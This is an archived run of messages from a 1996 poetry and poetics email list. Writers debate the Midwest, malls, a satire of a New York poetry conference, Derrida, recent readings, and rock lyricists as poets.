Thor and Shelley (Harryman) visit his parents to try to beg money. His dad is played by Susie Bright, who also doubles in the role of Shelley's analyst. His mom is played by the late Tede Matthews, in this horrible frumpy drag that conceals a terrible menace. I play a celebrated conceptual artist, John Smith, whose specialty is rigging up steel beams and suspending them from the ceiling of Grand Central Station-computers time the supporting cables to snap whenever a saturation mass of homeless people underneath try to sleep. That's about all I remember right now . . . . except that Tom Mandel was in it too and he and I had to wear unflattering pig snouts over our real noses and make sexist cracks about the lovely Marga Gomez. And also, Larry Ochs gets shot to death and people cheer since they now have a chance at a good apartment. (More of a New York joke than a SF joke I suppose.) And also, Carla gets into a romance with Aline Mayer, who was playing a kind of Jean Seberg type of romantic revolutionary. Gee, I guess I've written enough about "Swamp," but everybody should see it.

-KK.

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393. Eryque Gleason
Re: Place
Mon 15 Apr 1996

Sheila,

I liked what you said: "there's this contagious little reverence that permeates this web of surfaces. You don't get very deep into the ground." My own experiences with deserts relates. I spent my early years in the midwest, a lot of time in and near chicago, vertically oriented. My very earliest years were spent at a small airport outside of the chicago suburbs (even now, although i'm counting the weeks until de kalb is truly considered suburban), watching my dad go up and down thirty times a day, flying skydivers. Then when we moved to the san juaquin valley the desert seemed absolutely horizontal. I felt that i couldn't get very far into the ground, didn't feel any of that vertical orientation i was used to until i went into the foothills. No reason to look up or down really, i thought the dry dirt was ugly and there was nothing up, just spread out wide.

"Arizona has this splendid way of leaving one alone" as did that valley. Somehow, standing just next to a close friend in the desert feels lonely to me, seems like they're thirty yards away, but where things grow tall those inches in between feel miniscule, like i'm right next to *everybody*.

I'd drop my two cents in the cup, but i can't blow my WHOLE paycheck in one place! I haven't even bought groceries yet.

Eryque

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394. **Henry Gould**
Re: malls
Mon 15 Apr 1996

On Sat, 13 Apr 1996 18:35:42 -0700 Stephen Galen Cope said:
 It all began in Minnesota in the mid-50s,
>when Gruen was commissioned to build a shopping center. He constructed a
>central courtyard equidistant from two department stores. The result,
>Southdale, opened on October 8, 1956. Its one giant roof meant that

Beg to differ. It all began in Rhode Island. The Arcade in Providence, the first enclosed mall, was built in the early 19th century. That's why I left my beloved Minnesota. I grew up a few miles from Southdale, and like my namesake Glenn I just love 'em - I can pursue happiness nowhere but in the Dawn Land of Malls.
- H. Gould

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395. **Pierre Joris**
Re: Often I am permitted to return to Tom Raworth
Mon 15 Apr 1996

Chris -- it wasn't Tom raworth at all, it was Ernest hemingway, & you weren't there anyway & neither were we, as we were in massachusetts, though right now, giggling over coffee, it all comes back, & the title of Tom's new book is "Clean and Well Lit," & Tom is checking right now if he actually did write the line you quote as that way he may know better if indeed it was he & not Ernest who read here or in mass. last night, but scanning the mss he can';t find the line, though its too early to be confused & so he has decided that he may very well have written that line or that he may write it some day in the future in which case you will be credited.

Pierre

PS. Tom just found the line & it goes "cheated by false hopes"

On Sun, 14 Apr 1996, Chris Stroffolino wrote:

> *Tonight, in a reading available on casette from Chris, "EAP", Funkhouser at chez Joris/Peyrafitte here in Albany, Tom Raworth read from his new forthcoming ROOF Book, "A CLean And Well Lit Place" (I think that's the*

> *title). As usual, I understand, he read very fast, very dense---*
> *It seems quite different than the TOTTERING STATE (and pre) work....*
> *the only line that comes to mind (I didn't take notes) was*
> *"deluded by false hopes" (again, I might be misquoting)....but it's*
> *great work, and I can't wait for the book.....*
> *cs*

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396. **Mark Wallace**
DIU
Mon 15 Apr 1996

I have to agree with Joe Amato, Bob Harrison, and some others on the DIU discussion. I have no objection to the fact that the DIU piece was satire, or that it was satire of the NYC Poetry Talks, which I'm sure could be effectively satirized in a thousand ways, although quite frankly I thought it was a very good conference, on the whole. Rather, the problem is with the implications of the satire--its underlying suggestion that ironical hopelessness is the only proper stance of the avant garde poet--and, also, its failure to evaluate with any accuracy what were the real limitations of the NYC conference.

First, a point of info: I'm not sure it's absolutely established that Poe and the writer of the DIU satire are the same person. The Poe satires are stylistically complex, whatever one thinks of their critical implications, whereas the DIU satire is a much cruder hatchetjob (to which, in my initial post on this subject, I thought it best to respond in kind) that approximates the manifesto form of various social movements as the basis of its critique. Perhaps the DIU was a rush job by Poe--in any case, it was certainly not meant to approximate Poe's style.

If the NYC poetry conference as a whole could be criticized for having a problematic social stance, that criticism certainly would NOT be that the overwhelming attitude there was one of messianic avant-gardism. Exactly the opposite, in fact, would be nearer to the truth. For instance, the conference was not advertised except to its participants and on poetics e-mail and perhaps a few other places--the readings at the conference (not the discussions) were also advertised in local NYC poetry info pages. This is not a criticism of the organizers necessarily--they did a wonderful job of making everyone welcome, and of putting things together, and they had a lot of difficult work to do--but it hardly bespeaks a context in which we're determined to force others to listen to what we're saying. Rather, a more common assumption at the conference was either that no one else would want to listen, or, worse, that those of us who were at the conference had no interest in having anybody else listen.

Many of the excellent papers and talks at the conference suffered from the same difficulty--the in-group nature of the audience was assumed to be known, obvious, and perhaps even a good thing. For instance, from my point of view the notion that there is no longer any important distinction between avant garde and other kinds of poetry (an implication that was the subject, indirectly and directly, of several of the talks) could only be assumed by people who never talk significantly about poetry to anyone who is not part of the avant garde context. Say in most settings in America "I feel free to borrow not only from Johanna Drucker but also John Keats" the response almost certainly will be "who is Johanna Drucker?" Many of the NYC talks seemed to me like very intriguing ingrown toenails, but ingrown toenails nonetheless.

So I would argue that the DIU satire, with its position of hopelessness, anti-audience development, and satirical insularity was far more of a dominant trend than it was some incisive marginalized commentary. Thankfully, I don't think it was finally THE dominant trend--there were too many great people there expressing too many varied positions to be generalized either in the way of the DIU satire or in the way I'm speaking here. But I think it's pretty clear that it is quietism rather than messianic avant-gardism that represents a significant danger for the poets at the conference--our tendency to the simultaneously wounded and smug notion that no one besides us could possibly care about what we're doing. The fact is that such a notion simply is not true--more people are interested in "experimental" poetry in the U.S. (and I believe worldwide) than ever before.

In fact, I did find the DIU piece quite funny, in its way, and simply meant to treat it with the rough satire with which it was treating me. So, I do understand when Chris Funkhouser says "Mark, maybe that's the world you're living in already" but in fact I think that's not so. My "community", or more specifically the group of people who care about my writing practice, simply is NOT limited to the people at the DIU conference. The assumption that we are a clearly defined group, or that we're the only ones who care about what we do, leads to a sort of social inwardness that is not only unnecessary, but also is based on an incorrect evaluation of the circumstances that many of us are in.

For me, the goal of the NYC conference was not a chance to party with the crowd that understands me. Rather, it was an attempt to learn more about the activity of contemporary poetry and its various potentials in various contexts, so that I could take what I learned there and bring it back to the various environments in which I move.

I thought it was a great conference--thanks to Rob and Kim and Stacy to organizing, to Bill Luoma for putting together the talks for possible publication, for Jordan Davis for posting about the conference, and for various people for

doing a lot of hard work to support a subject about which they care a great deal. And thanks as well to the DIU satirist for raising some key issues, and for giving me and others a chance to refute those arguments.

Mark Wallace

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397. **Maria Damon**
Re: your mail
Mon 15 Apr 1996

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hi jeffrey timmons, i didn't take offense at thoreau-referencing at all. i love walden etc. it's just that it shd be remembered that he hardly went into seclusion --true he lived in a stone cottage on the banks of walden pond, but he had frequent visitors and frequently visited the emersons, ellery channing, etc., the intellectual luminaries of his day, of which he was one. he was very closely connected to institutions we might call "elite" (in some ways, so was the unabomber, in earlier parts of his life.) also, thoreau only lived at walden for a short time, as i recall, it was not to be a permanent arrangement but an experiment in living. a coupla years at most? md...

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398. **Maria Damon**
(no subject)
Mon 15 Apr 1996

---

and you'll dry all my tears...
xo---maria

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399. **Maria Damon**
Re: minnesota
Mon 15 Apr 1996

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chris s --oh yes, massachusetts can be icy with regard to outsiderdom... i met a woman married to an editor of one of those big publishing houses who had orchestrated a big multi-cultural anthology, and this lady (haute WASP herself) said, "well, it is a question whether we should inlcude these minorities in literary anthologies," i was shocked. i tried to say as non-confrontationally as possible that it wasn't a question of inclusion, but who even got to decide who the gatekeepers were. her assumption of privilege was something i'd forgotten about during my years in the midwest, where WASP means rural, kinda self-effacing shy folk who are embarrassed about being "nothing special". and

harvard, where my dad taught but was treated like shit and never promoted (he was a "senior lecturer," whatever that means), famously treats everyone with contempt and harsh exclusion. its not that people in MA are "true" liberals while folks in MN are not. there are diff. kinds and flavors of liberalism. i guess i'm just used to a certain temperament, and, equally important almost, a certain landscape and physical "feel".--md

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400. **- Kim Tedrow**

Re: minnesota

Mon 15 Apr 1996

Dodie writes:

>>>>I could go on and on here. But my advice for surving the Midwest, Maria,
is to get yourself a bland husband and a couple of babies and learn to keep your mouth shut.<<<<

EXCUSE ME BUT THAT'S NOT TRUE. But I did *not* have that experience in Minnesota as a loud, brassy, mother of one with NO husband. I had kooky, opinionated,LOUD, artistic friends, and plenty of acceptance of my "personality". I MISS IT and I'll be damned if I can find it here in the DC area where you need to earn an income of over $35K just to afford a clunker of a car. Yeah, the bureacracy was hell. Yeah, the winters stink. Yeah, the English Dept. at the U of M is a wasteland for women. It's also a wasteland for Marxists, African Americans, Hispanics, and leftists, etc. etc. (I remember the fights about the "multi-cultural requirements" for a liberal arts degree). But then so is most of America. But the coasts, I'm sure, have their own form of "wasteland", namely for me, an economic one.

Minnesota is my home. I miss the cleanliness, the space, the quality of life, the network I spent 15 years developing, and YES, I miss friendly polite people -- even if there are stupid notions of "difference" under the surface. At least I could get through the day w/out being insulted, harassed, or ignored by sales clerks, neighbors, or people on the street.

My experiences moving to the East as a "new wife" emotionally sound very much like Maria describes her experiences going to the U of MN. My husband's attitude towards me was, "you're not unhappy, you're just *wrong*". My emotional lability was viewed as a character flaw at my job. The *only* thing that saved my sanity was that I got a new computer, and logged on to find like minds on AOL, which gave me the connections I needed to feel like a human being again.

PLEASE STOP BASHING THE MIDWEST--I take it *personally*. We carry our unhappiness with us, if there's anything I learned in the past four years. It wasn't "DC's" fault that I was miserable when I moved out here. It wasn't *anybody's* fault. Furthermore, I lived and worked in a community in Mpls. where differences and passion were supported and where I thrived. And Maria, I haven't heard one single solitary person accuse you of being morally deficient because you're unhappy in Minnesota.

Now, if I could just get forsythias to grow in Mpls., and take the wonderful father to my daughter that my *ex*husband has become, as well as rumors of milder winters, I'd go back. I may go back anyway, for economic and quality of life reasons.

<grumbling>
Kim

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401. Kevin Killian
Re: art in dept stores
Mon 15 Apr 1996

This is Kevin Killian speaking. I have been writing the life of Jack Spicer, and have been given access to the scandal-packed diaries of Robert Berg, the librarian who had been at Berkeley with Spicer, Duncan, Blaser, etc. In a series of entries, Berg describes a show at Gump's in January 1959. Gump's is this horrid high-bourgeois Barbary Coast department store here in San Francisco. It was a show for Jess, who was Robert Duncan's boyfriend . . . Jess had delivered all his paintings in these exquisite frames, each one decorated by hand, appliqued with velvet arabesques, etc. Overnight, assiduous Gump's salespeople carefully removed all the decorations off the frames so when the opening happened, the frames were bare. I questioned Jess about this point, he smiled weakly and said, "Well, maybe the frames WERE a little overdone." (Berg: "A haughty salesman raced a lady customer though with a disdainful, 'I don't see this man at all.'")

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402. David Baratier
contrasimilitudinous
Mon 15 Apr 1996

Steve

That the poet is not blessed with the intellect of destruction apparent in the embedded criticism of furthering oneself seems apparent by following

the appropriative patterns of the last 20 years. A few poets in the seventies decided to use literary theory as a shift of emphasis away from the Iowa and confessionals, as a process of utterance reclaimation away from the polarity given to the utterance by the media and politicos. The problem with Derrida's assertion is that either philosophy *or* poetry are the primary (read: ONLY) methodologies in which to investigate language. I entirely disagree. The investigation of language does not have a designated power, one where each exponent degree is voiced purely by philosophy and/or poetry. A degree isn't necessary, in language-polarity for example, the suffix "-gate" has a negative connotation due to media uses and then the public can talk about this newly minted word. After a few years of using this suffix to the point of saturation, a poll company, such as Gannet, determines that the public has grown tired of this suffix, that white-gate has extrapolated meaning beyond the economic life-span curve of product unit-value. So "-gate"is statistically quantifyable and investigated in terms of mathematical lingo. This is just one example alternate conduits for language investigation. One consolation: I have heard that recently Gannet has been able to hire philosophers for this process in areas where the economy has disappeared such as Albany and Youngstown.

As for my own use of the inflated latinations, an advocation of one form of writing over another was not intended, since I am not an "academic" I believe in another reclaimation availiable to the outside: working within to work without. :*

David Baratier

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403. Joe Amato
Re: DIU
Mon 15 Apr 1996

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with mark, i'll have to go on record as saying that discussion of/critique of diu/poe (and i must admit to having conflated these latter, though i hear them similarly at times) is meant as constructive and is helped muchly by chris f.'s (and others') willingness to enter into said exchange peaceably...

best,

joe

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404. Jordan Davis
low-rent mall (encroaching slack)
Mon 15 Apr 1996

The phrase 'low-rent surrealism' was used to describe the music of the Ohio rock band Guided by Voices. (Their lead singer was until recently an elementary school teacher, and some of his logic seems learned from children--not a put-down.) This band was contrasted with the Stockton, CA outfit, Pavement; Pavement was held to be more sophisticated lyrically, rhythmically, and melodically. I'd have to agree, but I'd like to note the marked lack of things to say that's encroaching in Pavement's recent work. Pavement's latest single, "Give It a Day" seems to conflate the conflict between Increase and Cotton Mather with a fight the singer had with his girlfriend's dad. The usual vague sympathy for the exploited ('The word spread just like smallpox in the Sudan' is to me an echo of 'The natives fussing with the data charts', a rocking line from the "Watery, Domestic" ep that is probably the turning point for Pavement ((from re-privatized R.E.M. to over-publicized R.E.M... last Gary Young project?) is tied in with the band's dead-white-man 'no one has a clue' refrain they've been pushing since their first big hit, "Here". That is, I think there's some class/race damage that makes Pavement's work pretty exhausting for me in the end. Even their most hummable songs, "Gold Soundz" and "Cut Your Hair", seem wrecked by a class-based guilt/urge to oppress--'No Big Hair!' may be a manifesto against arena rock, but it's probably an upper middle class attack on the lower middle class, too. Now Guided by Voices, they're cool. 'The scenario is brine/For the King and Carol', that's a pretty great couplet. Who said beauty was in sophistication? Or, there's a simplicity to Guided by Voices' work that I connect to complexly. Indie rock is my sportspage. And poetry is my news. Malls, though, are socially interesting in a way that is not yet 'appropriate.' I have always had a passion for malls and shopping centers. They're so cavernous and multiple, they carry identical merchandise aimed at almost exactly the same idea of the consumer, it's colorful and often plush, the divisibility of life into pointless specializations thrills me, the sockman is the avatar from the 80s to all time, a whole store for socks, tie-dye socks, socks with maps of the world, terry-cloth socks, the record stores are a few weeks behind and everything's two dollars too much, the roving groups of kids who hate you, the orange plastic trays, 'greek' food, the atrium, the low-ceiling parking garages, magnet stores at either end (they're the same! they're the same!), my first girlfriend and I spent all our time at the Town Center in Stamford CT, it was an 'upscale' mall, they had a Doubleday book shop, it carried Kenneth Koch and John Ashbery, the clothes were mostly terrible, how could anybody afford any of it, but there we were, the relationship ended badly, there was a Brooks Brothers, a Victoria's Secret, a Sharper Image, a Metropolitan Museum of Art, a son helping his mother shop at Victoria's

Secret, is that a surprising thing to see? and a fountain, got hit on the head by a penny once, the mall on the Danbury Fairgrounds is maybe too wide, too airy, there's a carousel on the spot where the carousel used to be, went to the Danbury Fair the year before they closed it down, there's a small airport (Brainard Field I think) right next to the mall parking lot, the Westchester, the new place to shop north of 57th St, if you're from north of 242nd St, a carpeted-throughout shopping mall, magnet store is Nordstrom's, yes there's piano, some of the clothes there are lovely (and expensive), come to think of it I like to write there, never could write in the Galleria, the big deal thirteen years ago or so, but the stabbings sort of drove people away, got my first record there, the Pretenders' "Learning to Crawl", amazing even if Rush Limbaugh uses it, maybe amazing because Rush uses it the way Reagan using Neil Young and Neil Young wanting to be used was amazing, the secret compartmentalization conceals is that it breaks down the membranes between activities, the cellular structure, dead cells (scotch-tape shop), circulatory system, the health of malls, sick building syndrome, the stories in Readers Digest about malls as ideal fitness centers, go early and take your laps, climate controlled, homeostasis as consumer ideal, the largest organism, not for orgasms, minor potassium/sodium exchanges really, not the convulsive release of going to say Books & Co, rhizome/fungus the size of Kansas? a thousand plateaus or at least five levels, max out, come again soon, well let's just look, General Tso, can't remember what stores my first girlfriend liked to go to, probably it's built to send people different ways to gather again at a rendezvous point, the Disney store, the Warner Bros store, a remapping of school, the traffic is divided around these atria, these railings, one stream goes this way, one goes that, I suppose you've done this, is it like watching tv? or like being at the beach, I think it's like the beach, water engineering, carving channels in the sand, looking at people, like a certain kind of beach, Jersey Shore or Long Island, maybe not like Cape Cod or Nantucket, the upper middle class as opposed to the lower middle class, the stores a few miles from the beach, or right on it, outlet malls, what are they, I think it's like being at the beach, boat horn, other horns, department stores are like going to the mountains? Nah.--Jd

PS Most retrospective art shows in Japan are held in department stores, no? That's the museum system institutionalized there, and sometimes in France, too, right? Also, Gannett (USA Today/network of many local newspapers where I grew up) can't have officially hired philosophers to investigate words, their head office has not yet officially recognized 'words'.

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405. **Kevin Killian**
Re: minnesota
Mon 15 Apr 1996

At 10:40 AM 4/15/96, - Kim Tedrow wrote:
>I had kooky,
>opinionated,LOUD, artistic friends, and plenty of acceptance of my
>"personality".

Like I said, Kim--kooky but non-challenging =8A I never said the midwest wasn't full of arty types. And when I lived there I had wonderful friends, the kind where everybody ends up rolling around with their sides aching from laughing and screaming. An oppressive environment is great for bonding people.

Dodie

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406. **henry**
Re: low-rent mall (encroaching slack)
Mon 15 Apr 1996

On Mon, 15 Apr 1996 11:58:27 -0500 Jordan Davis said:
Malls, though, are socially interesting
>in a way that is not yet 'appropriate.' I have always had a passion for
>malls and shopping centers. They're so cavernous and multiple, they carry

Mr. Davis might like to visit South Korea. Shopping en masse as an art form has been brought to great distinction there. Designer clothes are set out in mammoth piles in blocks long+wide stores; women do nothing in South Korea but buy clothes & plan large meals; the low-rent surrealist shopkeepers are rich as hell, spangled with huge rings, diamonds & flashy outfits. I'm only reporting this second-hand and this is not a regional put-down (after what I've been through regarding poor lil Minnesota I'm heading to Korea to sho till I dro). - Henry Gould

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407. **Colleen Lookingbill**
(no subject)
Mon 15 Apr 1996

---

ible to paint the Midwest in any way that people would agree upon. Or any other part of the US. But one thing DOES seem certain: Some geographic locations tend to be conducive to one's OWN physique, temperament, and God knows what else."

Think Sheila is right about the match up of geographic location and the phychic space one has a need to inhabit - read a book once called Avalanche by W. Brugh Joy, and he posited an interesting theory that great cities all over the world (and throughout time) were a reflection of the pattern of the basic composition of the human Unconscious from dark and malignant to most beatific and celebrated, and to live in and be reflected by the spectrum of the city meant to be exposed to very different value systems than family or rural living. As a former midwesterner (Iowa), I feel that my life in S.F. IS very different and better suited to what I wanted for my overall development, but that does not make me feel prejudiced against the Midwest, just that I needed something else.

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408. Larry Price
NYC bag (an interloper)
Mon 15 Apr 1996

Sometimes I am permitted
to stroll down Hudson Street on a great broad spring day from the PATH station to Spring Street.

On Saturday, the 13th, at the EAR INN, Tax Day minus two, Chris Stroffolino and Jordan Davis read to a vocal and appreciative crowd. I don't remember anything that anyone wore.

Readings at the EAR invariably begin with the ritual of the mike, its two halves putting our heads behind us, as we listen dutifully in order to become this single, unified attention of the audience. All deftly handled by Lisa Jarnot, who wasted no words. Chris Stroffolino read first, or rather loosened and redirected the intricacies of his texts, their accretions of substance and then, there, suddenly Donovan (or "a" Donovan in sunshine). Always the KNOT: a single line cum sentence drawn through it - implying a fluidity but in fact the bits are left in, unfiltered, set equally apart and so a kind of masque of fluidity. Chris suddenly accuses differences of collapsing - but they don't, they're realigned, brined, sometimes the reduction is overwhelming, but it always undermines redaction, won't admit of it. The END OF WINTER has never been more forcibly marked

"the reruns of the rainbow"

"thick political skins"

"the urge to move"

"as if integrity was a strain"

"the hidden needles I used to construct an empty haystack"

Here as so many places, the images come in reverse, the service economy to thought that WON'T foreclose us.

"somehow indicting what you can do doesn't indict what you can't do"

Always oppositions as conjunctions of experience such that the sentence is always continuant.

"reveille" into "taps"

"the universe a snubbing thumb"
(a reading of Hardy, Chris told us later)

Up to that point we laughed a lot, so much in fact we no longer heard one another, heard only Chris continuing to read. As he changed timbre, pace.

Fish Story -- "things we see are a reflection in . . ."

"never still"

There are so many things to be respected here, the bristling motion, the power of the sentence again "compelling" not "back, back" but . . .

There is an agreeableness everywhere in his energy.

After one of those great furious, loud, VERY LOUD intermissions at the EAR, Jordan Davis read. He opened with a beginning, a middle, and an end, a typesetting book from 1934. His father and mother in attendance, there is no "free money," so his father's computer sluiced us through the truth and mud of puzzlement. Here the echoes kept us all silent, the syntax a tender anarchy purveying nothing short of secrets.

The texts roamed, rolled through dreams, syntax next jettisoned in favor of the brute facts of the words themselves - not disjunct at all because coming in a quiet way in the midst of so much syntactical revelation.

ROARING SPRING COMPOSITIONS Quiet, careful, and demarcated - a "harp of purity" - liberty bent and scaled to the point where we CAN hear them - limpid and lucent, again the syntax limning the veil it the syntax likewise sheds.

The continual presence (stated at least, though I heard none, the point I suppose) of the unfinished, evoking in us that great broad equilibrium, the "other" 24 hours alongside these, these dreams. We hear him point to point, convincing us of the importance of what he's/we're doing. "A poet's flag." For precision, I think (and so much else).

We're seeing him say "The Revolution is over!" while hearing him turn (the corner) ("a desiring lake"), a clear, voltaic light. Around and again. Then: "Swift,

swift, swift, go." We pause, washed over. The Reverdy translations were exquisite.

"Young animals go shining"

"no time in time"

"Vagabond, abide with me."

We did and do.

Readings do many things for me. Sometimes, when I've gone to too many of them in a single week, they bring a distorted image of myself in relation to writing. But best of all, as this continuant reader, they send me back to the texts. I urge us all to read these writers' books carefully.

Larry Price

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409. Maria Damon
Re: minnesota
Mon 15 Apr 1996

---

okay okay kim, truce. i think we've about done this subject to death. i felt my "moral fiber" attacked by hoover, not anyone else, after gould apologized. i think it's clear that my experience was "personal'; at the same time, i'm not the only one who's had it, whether we're talking about a midwesterner who's left (like dodie) or those of us like me, charles, jonathan b, etc., who have moved there from elsewhere. there are nice things about mn, like my apartment, which is spacious and cheap. and now that i've met good folks there thru this list, it'll be even better. after i got tenure, i resolved to make paradise out of wherever i was. that worked for about half a year. now it's time to regenerate that feeling, i'm gearing up for a return. bests, maria d

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410. henry gould
Notley
Mon 15 Apr 1996

Now about Fargo... just kiddin'. Has anybody read Alice Notley's essay in the book "Disembodied Poetics". I just read it for the first time today. On women's epics, allegory, dream, story, measure. My first reaction is this is one of the most sensible, concise, useful, & forward-looking statements from yon working poets I have seen in long time. If this has been hashed over on the list before then leave it lie, says I. - Henry Gould

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411. **Joe Amato**
Re: NYC bag (an interloper)
Mon 15 Apr 1996

thanx larry, those were great
readings...

bst,

joe

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412. **Henry Gould**
Re: The atmosphere of the other guy by Larry Fagin
Mon 15 Apr 1996

On Mon, 15 Apr 1996 15:30:03 -0500 Jordan Davis said:
>I think, Henry, I would like to go to South Korea. Also, I want very much
>to go to Egypt, to Sri Lanka, to Italy, to Estonia, and to Nepal. What have
>you heard about the people and the shops in those places?

I don't get out of little Rhody much - it's big enough for me. But I understand that Italians grocery shop about 3 times a day, & that's how they stay trim. But they're getting heavier now that they all drive noisy mopeds & expensive cars. About the other places I'm not nearly as well-informed - you'll have to do further research. I should have backchanneled this. Too late now. I hear the lurkers seething - "where's the f-- poetics here??" They are absolutely right, once again. Lurkers, peace, brothers & sisters. I will try to control myself & let you talk too. Hold me to it, tovaritches - HG

↑ Index

413. **D. LaBeau**
Re: Elmslie
Mon 15 Apr 1996

Some more rock'n'roll lyricists with poetic skills:

Thinking Fellers Union Local 282 have some wonderful, Ashberyesque scribblings, especially on "Mother of all Saints" though its lucky they include a lyric sheet for those buried vocals.

Gastr Del Sol- I haven't heard much of them but in interviews the vocalist claims to be influenced by Zukofsky, Olson, & Oppen.

& of course Captain Beefheart. By the way, to the starter of this thread, Franklin Bruno: are you the same FB from the band Nothing Painted Blue?

Either way they're a great band, with more puns & clever twists than Elvis Costello in his prime.

--Dan

↑ Index

414. Jordan Davis
The atmosphere of the other guy by Larry Fagin
Mon 15 Apr 1996

I think, Henry, I would like to go to South Korea. Also, I want very much to go to Egypt, to Sri Lanka, to Italy, to Estonia, and to Nepal. What have you heard about the people and the shops in those places? Walter Lew, can you tell me, is this true about South Korea, that it's as commercial as Minnesota? Brian Kim Stefans, you were in South Korea last year, right? --Jd

↑ Index

415. David Baratier
Re: the atmosphere of the other guy by larry fagin
Mon 15 Apr 1996

> Jordan & Henry
> The shopping here in Philadelphia is wonderful, why
> when they play celebration in the navy its done with words
> in the Gallery one of the earliest malls by Victor Gruen
> right in our city grid. People won't mention his name
> it's said to make the upperclass spit, and so, and similarly
> the rain in Maine is supposed to fall gently on the plain
> while terrain in Spain is a bit smoother than Botswain.
>
> Francois Baratier

↑ Index

416. Maria Damon
Re: Elmslie
Mon 15 Apr 1996

it was you,
walter lew
who
first introdu-
ced me to
captain beefheart, and he's remained a fave since then. i still often have
cause to intone

woe is-a me-bop
om bopareebop
om.
everybody's do-
in it, please don't let them ru-
in it
om...
thank you...
xo md

↑ Index

417. Steve Carll
Re: contrasimilitudinous
Mon 15 Apr 1996

At 10:39 AM 4/15/96 CST, David Baratier wrote:

> *The problem with Derrida's assertion is*
> *that either philosophy *or* poetry are the primary (read: ONLY)*
> *methodologies in which to investigate language. I entirely disagree.*

No, I think you're polarizing Derrida's assertion by reading ONLY. They may be the only ones Derrida himself is interested in, but I don't think he's interested in closing down any possibilities of language investigation by forcing them into one or both of these two categories. Why else would he valorize "crossing the boundaries"?

> *The investigation of language does not have a designated power, one where each exponent degree is voiced purely by philosophy and/or poetry. A degree isn't necessary, in language-polarity for example, the suffix "-gate" has a negative connotation due to media uses and then the public can talk about this newly minted word. After a few years of using this suffix to the point of saturation, a poll company, such as Gannet, determines that the public has grown tired of this suffix, that white-gate has extrapolated meaning beyond the economic life-span curve of product unit-value. So "-gate"is statistically quantifyable and investigated in terms of mathematical lingo. This is just one example alternate conduits for language investigation. One consolation: I have heard that recently Gannet has been able to hire philosophers for this process in areas where the economy has disappeared such as Albany and Youngstown.*

So if I understand you, you started out defending the poets from what you feel is an attack by the critics. Now you're defending the pollsters from not only the critics but also the poets?

> *As for my own use of the inflated latinations, an advocation of one form of writing over another was not intended, since I am not an*

> *"academic" I believe in another reclaimation availiable to the outside: working within to work without. :**

Hmm. Sounds suspiciously like DECONSTRUCTIONISM to me. :-) But I wasn't implying that you were advocating one form of writing over another; just that, if you're using "the language of the critic" (let's call it), you must recognize some value in that language and in using that language, no?

Steve

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418. George Bowering
Re: Fargo
Mon 15 Apr 1996

> *Now about Fargo...*

I was in Fargo in 1956. I could hardly wait to get to Moorhead.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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419. David Carl
(no subject)
Mon 15 Apr 1996

> *Glenn Gould loved to hang out in malls for their magic. Do americans know who Glenn Gould is?*

Those of us who've seen the film 32 Films For Glen Gould (or is it 32 Short Films. . .?). I don't reccomend it unreservedly, but I do recommend it, for those of us who havn't (and by the way, some of my best friends are Malls, or were back in the 70's, before they "sold out" and went commercial on me).

[redacted]

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420. Daniel Salmon
(no subject)
Mon 15 Apr 1996

At 07:46 PM 15/04/96 -0700, you wrote:
>> Glenn Gould loved to hang out in malls for their magic. Do americans
>> know who Glenn Gould is?
>
>Those of us who've seen the film 32 Films For Glen Gould (or is it 32 Short
>Films. . .?). I don't reccomend it unreservedly, but I do recommend it, for
>those of us who havn't (and by the way, some of my best friends are Malls,
>or were back in the 70's, before they "sold out" and went commercial on me).
>
Glenn Gould would likely have been attracted to the aural cacophony of malls. Muzac has changed over the last 10 years and now makes listening to several different conversations rather difficult.
Daniel Salmon ph/fax (649) 4191730 mob (025) 394 311

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421. Walter K. Lew
Re: malls
Mon 15 Apr 1996

Dear Stephen Cope,
Can you give us a citation for the passage on Gruen and malls? Thanks.

Walter K. Lew
8 Old Colony Rd.
Old Saybrook, CT 06475

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422. Charles Alexander
Re: Fargo
Mon 15 Apr 1996

> *Now about Fargo...*
>
> *I was in Fargo in 1956. I could hardly wait to get to Moorhead.*
>
> *George Bowering.*

by george

i was in morego

in 5691

trying to get to farhead

around by ringbow

about now

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423. mikl-em

guided by payment? t(o)eacher Cale. et Richman

Tue 16 Apr 1996

---

jordan I didn't think that Neil Yung wanted to get used back then,

  but tell me how you go so far down hill from playing NoIzE with Sonic Youth to jellying with Pearljam... the more interestin thing is the Reagan grab of Born in the US by Bruce, which was about an alienated Viet Nam vet and RR scanned as flag day material.

 i don't know if any one out there is a John Cale fan, but I thought that I would mention his Fragments for a Rainy Season album is one of my faves. It is a variation from the standard greatest hits record, as Cale transposes songs from his entire career--Excluding his Velvet Undergroungd days but IN-cluding his projects w/ Eno, Lou Reed, and his orchestral/choral arrangements of Dylan Thomas poems--into a solo concert. He accompanies himself on piano and a few songs on acoustic guitar. Hearing Chinese Envoy which was originally a synthey bit, next to Heartbreak Hotel, which he had done as a guitar-horror piece, and the Thomas pieces which are SO much better solo --- it really gives a rare chance to experience what is at the spine of his songs and performance. And the version of Leonard Cohen's "Hallelujah" does great justice to both the artistry of the poem and the care and character of Cale's Welsh tenor.

and if that ain't literary enuf, there's a Macbeth quote on the cover.

Where rock meets poetry and the various spokes of the word, do any of you New Yorkers or anyone else for this matter seen Patti Smith or Richard Hell read? and How is it, please? I've heard good things about Hell's readings at least, but not yet reviews from more literary sources. OFcoursealso Rosanne Cash 'pparently has a book out now...

and Chris S. or anyone else interested, Jonathan Richman is going to be on Hot Wired's Feedback thing on Friday at 5 --but I think you hav to hav real audio (tm) to enjoy it. [the King and Knave of naive: "I go to bakeries all day long/ there's a lack of Sweetness in my life"]

bye.mikl.

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424. mikl-em
Re: Elmslie
Tue 16 Apr 1996

> & of course Captain Beefheart. By the way, to the starter of this thread,
> Franklin Bruno: are you the same FB from the band Nothing Painted Blue?
> Either way they're a great band, with more puns & clever twists than
> Elvis Costello in his prime.

with all due respect to FB and NPB:
maybe as many as...maybe.

EC is formidable, witness:

falling for you without a second look
falling out of your open pocket book
giving you away
like Motel Matches

"Motel Matches"
from _Get Happy_

I'll stop there, or els I'd go on.

mkl.

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425. James Perez
short films
Tue 16 Apr 1996

---

forget glen gould, did you see 22 short films about Springfield on the Simpsons. It was great, sends up of Tarrantino abound

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426. chris daniels
elvis costello/capt beefheart/malls
Tue 16 Apr 1996

>EC is formidable, witness:
>
>

falling for you without a second look
falling out of your open pocket book
giving you away
like Motel Matches

"Motel Matches"

> from _Get Happy_
>
>

yeah, i mean just take this one thing from "Beyond Belief":

    get yr fingers on important issues
    w/ crocodile tears and a pocket full of tissues

